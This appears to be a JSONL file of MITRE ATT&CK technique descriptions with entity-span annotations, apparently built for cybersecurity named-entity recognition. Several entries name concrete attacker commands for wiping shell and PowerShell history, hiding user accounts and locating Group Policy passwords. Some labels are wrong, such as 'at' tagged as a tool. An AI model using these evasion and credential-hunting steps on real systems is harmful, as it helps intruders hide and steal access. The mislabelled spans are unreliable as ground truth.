{"text": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.\n\nWhile User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling Remote Access Tools, allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies\n* Downloading and executing malware for User Execution\n* Coerceing users to copy, paste, and execute malicious code manually\n\nFor example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.", "spans": {"SYSTEM: Access": [[379, 385], [711, 717], [1354, 1360]], "TOOL: at": [[399, 401]], "SYSTEM: JavaScript": [[800, 810]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204"}}
{"text": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1491.001"}}
{"text": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden. \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>). Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", "spans": {"SYSTEM: macOS": [[281, 286]], "SYSTEM: Windows": [[1213, 1220]], "ORGANIZATION: Microsoft": [[1266, 1275]], "SYSTEM: Windows NT": [[1276, 1286]], "SYSTEM: Registry": [[1343, 1351]], "SYSTEM: Linux": [[1464, 1469]], "SYSTEM: Ubuntu": [[1691, 1697]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.002"}}
{"text": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.003"}}
{"text": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>", "spans": {"SYSTEM: Group Policy": [[57, 69], [528, 540]], "TOOL: Metasploit": [[566, 576]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.006"}}
{"text": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.", "spans": {"SYSTEM: HTTPS": [[780, 785]], "SYSTEM: TLS": [[786, 789]], "SYSTEM: SSL": [[790, 793]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1048.002"}}
{"text": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365. The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain. \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix. In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.", "spans": {"TOOL: PowerShell": [[381, 391]], "SYSTEM: Office 365": [[472, 482]], "SYSTEM: Azure": [[488, 493]], "SYSTEM: AWS": [[681, 684]], "SYSTEM: GCP": [[883, 886]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.004"}}
{"text": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or <code>Get-Process</code> via PowerShell. Information about processes can also be extracted from the output of Native API calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.\n\nOn network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.", "spans": {"SYSTEM: Windows": [[508, 515]], "TOOL: Tasklist": [[594, 602]], "TOOL: cmd": [[615, 618]], "TOOL: PowerShell": [[651, 661]], "SYSTEM: Native API": [[732, 742]], "SYSTEM: Linux": [[807, 812]], "TOOL: ps": [[850, 852], [961, 963]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1057"}}
{"text": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.\n\nAdversaries may also leverage a Network Device CLI on network devices to disable historical command logging (e.g. <code>no logging</code>).", "spans": {"SYSTEM: Linux": [[233, 238], [1311, 1316]], "SYSTEM: macOS": [[243, 248], [740, 745]], "SYSTEM: Windows": [[1616, 1623], [1772, 1779]], "TOOL: PowerShell": [[1696, 1706], [1780, 1790], [2115, 2125]], "ORGANIZATION: Microsoft": [[1762, 1771]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.003"}}
{"text": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening. \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`. Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.", "spans": {"SYSTEM: Windows": [[183, 190], [820, 827]], "SYSTEM: Registry": [[731, 739]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.008"}}
{"text": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts – using `mofcomp.exe`  –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "spans": {"SYSTEM: Windows Management Instrumentation": [[107, 141]], "TOOL: WMI": [[143, 146], [168, 171], [441, 444], [585, 588], [735, 738], [780, 783]], "SYSTEM: Windows": [[626, 633]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.003"}}
{"text": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.004"}}
{"text": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks  , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro  or waiting for a user to double click on an embedded image to activate.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497.002"}}
{"text": "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.", "spans": {"SYSTEM: AWS": [[241, 244], [273, 276]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.004"}}
{"text": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nCreating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.", "spans": {"SYSTEM: Dropbox": [[204, 211]], "ORGANIZATION: Microsoft": [[219, 228]], "SYSTEM: OneDrive": [[229, 237]], "SYSTEM: AWS": [[242, 245]], "SYSTEM: S3": [[246, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1585.003"}}
{"text": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID. Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure.\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.", "spans": {"SYSTEM: AWS": [[431, 434]], "ORGANIZATION: Microsoft": [[452, 461], [1030, 1039]], "SYSTEM: Azure": [[470, 475]], "SYSTEM: GCP": [[485, 488]], "SYSTEM: Access": [[512, 518]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1072"}}
{"text": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1041"}}
{"text": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be <code>explorer.exe</code> rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.", "spans": {"SYSTEM: API": [[348, 351]], "SYSTEM: Windows": [[445, 452]], "SYSTEM: Office": [[801, 807], [1004, 1010], [1135, 1141]], "TOOL: PowerShell": [[937, 947]], "TOOL: Rundll32": [[948, 956]], "SYSTEM: Visual Basic": [[1103, 1115]], "SYSTEM: Native API": [[1180, 1190]], "SYSTEM: lsass.exe": [[1482, 1491]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.004"}}
{"text": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591"}}
{"text": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.\n\nOnce forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.", "spans": {"SYSTEM: Access": [[459, 465], [974, 980]], "SYSTEM: AWS": [[877, 880]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1606"}}
{"text": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”", "spans": {"ORGANIZATION: Microsoft": [[484, 493]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1621"}}
{"text": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., Modify Authentication Process).\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.\n\nAfter modifying a binary, an adversary may attempt to Impair Defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).", "spans": {"SYSTEM: SSH": [[226, 229], [739, 742]], "TOOL: FTP": [[239, 242]], "SYSTEM: Linux": [[1353, 1358]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1554"}}
{"text": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .", "spans": {"SYSTEM: Slack": [[218, 223], [826, 831]], "SYSTEM: Jira": [[259, 263]], "SYSTEM: API": [[410, 413]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.008"}}
{"text": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,  PowerSploit, PoshC2, and PSAttack.\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).", "spans": {"TOOL: PowerShell": [[22, 32], [69, 79], [217, 227], [562, 572], [605, 615], [765, 775], [876, 886], [1012, 1022]], "SYSTEM: Windows": [[171, 178], [1130, 1137]], "TOOL: Empire": [[831, 837]], "TOOL: PowerSploit": [[840, 851]], "MALWARE: PoshC2": [[853, 859]], "SYSTEM: .NET": [[1111, 1115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.001"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.", "spans": {"SYSTEM: Windows Registry": [[276, 292]], "SYSTEM: Registry": [[359, 367]], "TOOL: at": [[774, 776], [893, 895]], "FILEPATH: \\\\[handler]": [[800, 811]], "FILEPATH: \\\\[handler]\\shell\\\\[action]\\command": [[919, 954]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.001"}}
{"text": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.014"}}
{"text": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {"SYSTEM: SMB": [[340, 343]], "TOOL: FTP": [[345, 348]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.002"}}
{"text": "Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.  \n\nAdversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. \n\nExclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1679"}}
{"text": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. \n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", "spans": {"SYSTEM: Kerberos": [[568, 576], [602, 610]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1212"}}
{"text": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the Launch Daemon configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.", "spans": {"TOOL: at": [[278, 280], [860, 862]], "FILEPATH: /sbin/emond": [[287, 298]], "FILEPATH: /etc/emond.d/rules/": [[341, 360]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.014"}}
{"text": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"TOOL: at": [[500, 502]], "ORGANIZATION: Google": [[859, 865]], "SYSTEM: SSL": [[972, 975]], "SYSTEM: TLS": [[976, 979]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1102.003"}}
{"text": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590"}}
